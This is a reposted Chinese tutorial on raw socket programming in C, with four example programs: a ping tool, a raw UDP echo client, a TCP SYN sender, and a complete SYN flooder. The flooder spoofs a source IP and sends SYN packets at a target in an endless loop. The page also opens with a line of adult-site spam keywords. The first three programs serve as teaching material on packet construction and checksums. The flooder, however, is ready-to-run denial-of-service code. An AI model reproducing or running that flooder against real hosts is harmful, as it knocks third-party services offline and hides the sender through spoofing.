国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
Raw socket編程例解
Raw socket編程例解【轉】
2009-12-19 17:05
Raw socket編程例解

     作者:Kevin Z. Tan(kevintz) kevintz@163.com
     聲明:本文僅作為技術探討所用,對任何人使用本文里的程序所做的事,本人概不負責。本文
           版權遵循GPL version 2 !!!
    

     前幾天網友genjuro_lyb轉貼了一篇關于raw socket編程的文章,覺得對TCP/IP的理解有較大
用處,所以中譯成《Raw socket C語言簡明教程》。但這篇教程里的例子代碼不完整,不利于網友
結合實踐進行學習raw socket編程。所以就寫了4使用個例子,現(xiàn)在將代碼貼出來,供大家交流學習。
     我在寫這些代碼的過程中,遇到不少問題,走了一些彎路,總結一下,為了不再重復花費大家的
精力和時間:
     1、in_cksum()生成的結果不用轉換成網絡序。另外如果這個函數寫得不正確的話,通常得不到
        對方的發(fā)回包,很難調試。
     2、數據轉化成網絡序的一個原則是:一般協(xié)議頭部的short和int/long型的數據通常要轉換成
        網絡序。運載的數據部分,如果在對方要處理的,類型為short/int/long型數據的也要轉換
        成網絡序。如果對方不做處理,直接返回的數據部分,可以不轉換成我網絡序。
     3、raw tcp的程序為什么只寫發(fā)SYN包:因為你發(fā)了SYN包,對方發(fā)回來SYN/ACK包,你的操作系統(tǒng)
        內核先于你的程序接收到這個包,它檢查內核里的socket,發(fā)現(xiàn)沒有一個socket對應于這個包
        (因為raw tcp socket沒有保存ip和端口等信息,所以內核不能識別這個包),所以發(fā)了一個
        RST包給對方,于是對方的tcp socket關閉了。你的raw tcp socket最終收到這個SYN/ACK包,
        你的程序做了處理后,再發(fā)ACK包給對方時,對方的tcp socket已經關閉,所以對方就發(fā)了一個
        RST回來。要寫一個SYN flooder就只能用raw raw socket,因為raw tcp不能自己控制IP頭,所
        以不能寫SYN flooder,除非用了IP_HDRINCL選項和自己構造IP頭部。本人對其他人使用這些程
        序所做的事情不負任何責任,僅為技術交流而發(fā)布。
     4、關于各種協(xié)議頭的檢驗和產生方法。
        IP:只包含IP頭的檢驗和,不包括數據部分。
        ICMP:包括ICMP頭和數據。
        TCP:包括一個偽協(xié)議頭部和TCP頭和數據。
        UDP:包括一個偽協(xié)議頭部和UDP頭和數據。
     5、raw socket發(fā)送數據和返回數據的形式:
        raw icmp socket(IPPROTO_ICMP):
             不用構建IP頭部分,只發(fā)送ICMP頭和數據。返回包括IP頭和ICMP頭和數據。
        raw udp socket(IPPROTO_UDP):
             不用構建IP頭部分,只發(fā)送UDP頭和數據。返回包括IP頭和UDP頭和數據。
        raw tcp socket(IPPROTO_TCP):
             不用構建IP頭部分,只發(fā)送TCP頭和數據。返回包括IP頭和TCP頭和數據。
        raw raw socket(IPPROTO_RAW):
             要構建IP頭部和要發(fā)送的各種協(xié)議的頭部和數據。返回包括IP頭和相應的協(xié)議頭和數據。
     6、參考資料:
        1、R. Stevens 《TCP/IP詳解》卷一、二、三
        2、R. Stevens 《Unix網絡編程》卷一
        3、Phrack雜志
     7、編譯平臺:Linux。FreeBSD應該可以通過。所有程序都要root權限運行。調試raw udp程序時,
        大家將/etc/inetd.conf里的echo upd服務打開就可以了,端口號是7。由于不想將篇幅變太大,
        in_cksum()函數源碼只出現(xiàn)一次,加入其他的程序里就可以了。
        調試工具:tcpdump和netstat
     8、大家可以改進的地方:
        1)加入主機名字查詢,不用每次都打IP。加入服務查詢,不用打端口,用服務的名字就可以了。
        2)你能想到的都可以寫進去。

/* simple ping program */
#define __USE_BSD
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define __FAVOR_BSD
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/time.h>
#include <stdio.h>

struct sockaddr_in saddr;
int rawsock;

unsigned short in_cksum(unsigned short *addr, int len)
{
         int sum=0;
         unsigned short res=0;
         while( len > 1)   {
                 sum += *addr++;
                 len -=2;
         }
         if( len == 1) {
                 *((unsigned char *)(&res))=*((unsigned char *)addr);
                 sum += res;
         }
         sum = (sum >>16) + (sum & 0xffff);
         sum += (sum >>16) ;
         res = ~sum;
         return res;
}


void ping(int signo)
{
         int len;
         int i;
         static unsigned short seq=0;
         char buff[8192];
         struct timeval tv;
         struct icmp *icmph=(struct icmp *)buff;
         long *data=(long *)icmph->icmp_data;
         bzero(buff, 8192);
         gettimeofday(&tv, NULL);
         icmph->icmp_type=ICMP_ECHO;
         icmph->icmp_code=0;
         icmph->icmp_cksum=0;
         icmph->icmp_id=0;
         icmph->icmp_seq=0;
         icmph->icmp_id=getpid()&0xffff;
         icmph->icmp_seq=seq++;

         data[0]= tv.tv_sec;
         data[1]= tv.tv_usec;

         for(i=8; i< 64; i++)
icmph->icmp_data[i]=(unsigned char )i;

         icmph->icmp_cksum=in_cksum((unsigned short *)buff, 72);
         len=sendto( rawsock, buff, 72, 0, &saddr, sizeof(saddr));
         alarm(1);
}

void sigint(int signo)
{
         printf("CATCH SIGINT !!!\n");
         close(rawsock);
         exit(0);

}

void dumppkt(char *buf, int len)
{
         struct ip *iph=(struct ip *)buf;
         int i=iph->ip_hl*4;
         struct icmp *icmph=(struct icmp *)&buf[i];
         long *data=( long*)icmph->icmp_data;
         struct timeval tv;

         gettimeofday(&tv, NULL);
         if( icmph->icmp_type != ICMP_ECHOREPLY )
                 return;
         if( icmph->icmp_id != (getpid()&0xffff) )
                 return;
         printf("From %s : ttl=%d seq=%d time=%.2f ms\n",
                 inet_ntoa(iph->ip_src), iph->ip_ttl ,
                 icmph->icmp_seq,
                 (tv.tv_sec-data[0])*1000.0+(tv.tv_usec-data[1])/1000.0);

}


int main(int argc, char *argv[])
{
         int len;
         struct timeval now;
         char recvbuff[8192];

         if( argc != 2) {
                 printf("%s aaa.bbb.ccc.ddd\n", argv[0]);
                 exit(1);
         }
         rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
         if( rawsock < 0) {
perror("socket");
exit(1);
}
bzero( &saddr, sizeof(saddr));
saddr.sin_family=AF_INET;
if( inet_aton( argv[1], &saddr.sin_addr) < 0) {
printf("invalid IP address:%s\n", argv[1]);
exit(1);
}
signal(SIGALRM, ping);
signal(SIGINT, sigint);
alarm(1);
while(1) {
len=read(rawsock, recvbuff, 8192);
if( len < 0 && errno == EINTR)
continue;
else if( len < 0)
perror("read");
else if( len > 0 )
                         dumppkt(recvbuff, len);
         }
         close(rawsock);
         exit(0);
}

/* simple ping end */

/* simple raw udp program */

#define __USE_BSD   /* 使用BSD風格的結構定義 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/udp.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <errno.h>

struct pesudo_udphdr {
unsigned int saddr, daddr;
unsigned char unused;
unsigned char protocol;
unsigned short udplen;
};

struct sockaddr_in dst;
struct sockaddr_in src;

int rawsock;
char buff[8192];

void udpecho()
{
         char sendbuf[8192];
         int len;
         struct pesudo_udphdr *pudph=(struct pesudo_udphdr*)sendbuf;
         struct udphdr *udph=(struct udphdr*)(sendbuf+sizeof(struct pesudo_udphdr
));
         char *data=(char *)(udph+1);

         strcpy(data, "hello,world\n");
         pudph->saddr=src.sin_addr.s_addr;
         pudph->daddr=dst.sin_addr.s_addr;
         pudph->unused=0;
         pudph->protocol=IPPROTO_UDP;
         pudph->udplen=htons(8+strlen(data)+1);

         udph->uh_sport=src.sin_port;   /* port num already net_byte_order */
         udph->uh_dport=dst.sin_port;
         udph->uh_ulen=pudph->udplen;
         udph->uh_sum=0;

         /* include pesudo header and udp header*/
         udph->uh_sum=in_cksum((unsigned short*)pudph, 12+8+strlen(data)+1);
         len=sendto(rawsock, udph, 8+strlen(data)+1, 0,
                 (struct sockaddr *)&dst, sizeof(dst));
         if( len < 0)
perror("sendto() error");
else
printf("sendto() send %d bytes\n", len);

}


void dump(char *buff, int len)
{
struct ip *iph=(struct ip *)buff;
int i=iph->ip_hl*4;
         struct udphdr *udph=(struct udphdr *)&buff[i];
         char *data=(char *)(udph+1);

         printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
                 inet_ntoa(iph->ip_src),
                 ntohs(udph->uh_sport),
                 inet_ntoa(iph->ip_dst),
                 ntohs(udph->uh_dport),
                 len, i, ntohs(iph->ip_len)
         );
         printf(data);

}

void alarmsig(int a)
{
         udpecho();
         alarm(1);
}

int main(int argc, char *argv[])
{
         int len;

         if(argc != 5) {
                 printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
                 exit(1);
         }
         if( inet_aton(argv[1], &src.sin_addr) == 0) {
                 printf("bad localip:%s\n", argv[1]);
                 exit(1);
         }
         if( inet_aton(argv[3], &dst.sin_addr) == 0) {
                 printf("bad remoteip:%s\n", argv[3]);
                 exit(1);
         }
         src.sin_port=htons(atoi(argv[2]));
         dst.sin_port=htons(atoi(argv[4]));
         src.sin_family=AF_INET;
         dst.sin_family=AF_INET;

         rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
         if( rawsock < 0) {
perror("socket");
exit(1);
}
if( signal(SIGALRM, alarmsig) < 0) {
perror("signal");
exit(1);
}
alarm(1);
while( (len=read(rawsock, buff, 8192)) > 0) {
                 dump(buff, len);
         }
         close(rawsock);
         exit(0);
}
/* raw udp end */

/* raw tcp syn sender */
#define __USE_BSD   /* 使用BSD風格的結構定義 */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>

struct pesudo_tcphdr {
         unsigned int saddr, daddr;
         unsigned char unused;
         unsigned char protocol;
         unsigned short tcplen;
};

struct sockaddr_in dst;
struct sockaddr_in src;

int seq;
int rawsock;
char buff[8192];

void syn()
{
         char sendbuf[8192];
         int len;
         struct pesudo_tcphdr *ptcph=(struct pesudo_tcphdr*)sendbuf;
         struct tcphdr *tcph=(struct tcphdr*)(sendbuf+sizeof(struct pesudo_tcphdr
));

         ptcph->saddr=src.sin_addr.s_addr;
         ptcph->daddr=dst.sin_addr.s_addr;
         ptcph->unused=0;
         ptcph->protocol=IPPROTO_TCP;
         ptcph->tcplen=htons(20);   /* we just send header , no data */

         tcph->th_sport=src.sin_port;   /* port num already net_byte_order */
         tcph->th_dport=dst.sin_port;
         tcph->th_seq=htonl(123456);
         tcph->th_ack=0;
         tcph->th_x2=0;
         tcph->th_off=5;
         tcph->th_flags=TH_SYN;
         tcph->th_win=htons(65535);
         tcph->th_sum=0;
         tcph->th_urp=0;

         /* include pesudo header and tcp header*/
         tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12);
         len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst));
         if( len < 0)
perror("sendto() SYN error");
else
printf("sendto() SYN send %d bytes\n", len);

}
void dump(char *buff, int len)
{
struct ip *iph=(struct ip *)buff;
int i=iph->ip_hl*4;
         struct tcphdr *tcph=(struct tcphdr *)&buff[i];

         printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
                 inet_ntoa(iph->ip_src),
                 ntohs(tcph->th_sport),
                 inet_ntoa(iph->ip_dst),
                 ntohs(tcph->th_dport),
                 len, i, ntohs(iph->ip_len)
         );
         printf("seq: %u ack_seq:%u ",
                 ntohl(tcph->th_seq),
                 ntohl(tcph->th_ack)
         );
         if( tcph->th_flags & TH_SYN)
                 printf("SYN ");
         if( tcph->th_flags & TH_ACK)
                 printf("ACK ");
         if( tcph->th_flags & TH_FIN)
                 printf("FIN ");
         if( tcph->th_flags & TH_RST)
                 printf("RST ");
         if( tcph->th_flags & TH_URG)
                 printf("URG ");
         if( tcph->th_flags & TH_PUSH)
                 printf("PUSH ");
         printf("\n");

}
int main(int argc, char *argv[])
{
         int len;

         if(argc != 5) {
                 printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
                 exit(1);
         }
         if( inet_aton(argv[1], &src.sin_addr) == 0) {
                 printf("bad localip:%s\n", argv[1]);
                 exit(1);
         }
         if( inet_aton(argv[3], &dst.sin_addr) == 0) {
                 printf("bad remoteip:%s\n", argv[3]);
                 exit(1);
         }
         src.sin_port=htons(atoi(argv[2]));
         dst.sin_port=htons(atoi(argv[4]));
         src.sin_family=AF_INET;
         dst.sin_family=AF_INET;

         rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
         if( rawsock < 0) {
perror("socket");
exit(1);
}
syn();
len=read(rawsock, buff, 8192);
if( len > 0)
               dump(buff, len);
         else
               printf("read return %d \n", len);

         close(rawsock);
         exit(0);
}

/* simple syn flooder !!! */
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <stdio.h>
#include <stdlib.h>


unsigned short in_cksum(unsigned short *ptr,int nbytes);
int synflooding();
void sigint(int signo);
struct sockaddr_in target;
struct sockaddr_in pesudo;
int rawsock;

void sigint(int signo)
{
         printf("catch SIGINT\n");
         close(rawsock);
         exit(0);
}

int main(int argc, char *argv[])
{
         if( argc != 4) {
                 printf("usage:%s pesudoip attackip attackport\n", argv[0]);
                 exit(1);
         }
         if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {
                 printf("bad ip address:%s\n", argv[1]);
                 exit(1);
         }
         if( inet_aton(argv[2], &target.sin_addr) == 0) {
                 printf("bad ip address:%s\n", argv[2]);
                 exit(1);
         }
         target.sin_port=htons(atoi(argv[3]));
         signal(SIGINT, sigint);
         synflooding();
         exit(0);

}

int synflooding()
{
         int i, j, k;
         struct packet{
         struct iphdr ip;
         struct tcphdr tcp;
         }packet;

         struct pseudo_header{            /* For TCP header checksum */
                 unsigned int source_address;
                 unsigned int dest_address;
                 unsigned char placeholder;
                 unsigned char protocol;
                 unsigned short tcp_length;
                 struct tcphdr tcp;
         }pseudo_header;
         bzero(&packet, sizeof(packet));
         bzero(&pseudo_header, sizeof(pseudo_header));
         if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("socket()");
exit(1);
}
packet.tcp.dest=target.sin_port; /* 16-bit Destination port */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */
packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
while(1) {
/* set src port and ISN */
packet.tcp.source=htons(1025+rand()%60000);
packet.tcp.seq=761013+rand()%100000;
packet.tcp.check=0;

pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
sendto(rawsock,&packet,40,0,
(struct sockaddr *)&target,sizeof(target));
}
return 0;

}

/* syn flooder end */
本站僅提供存儲服務,所有內容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權內容,請點擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
C++中實現(xiàn)ping功能2
TCP協(xié)議堵塞窗口算法攻擊
截獲所有以太網幀數據并進行具體分析
Linux網絡編程:原始套接字的魔力【上】
用pcap監(jiān)控端口流量
Modbus TCP/IP協(xié)議的C++語言實現(xiàn)(轉帖) | 花花俠的IT世界
更多類似文章 >>
生活服務
分享 收藏 導長圖 關注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服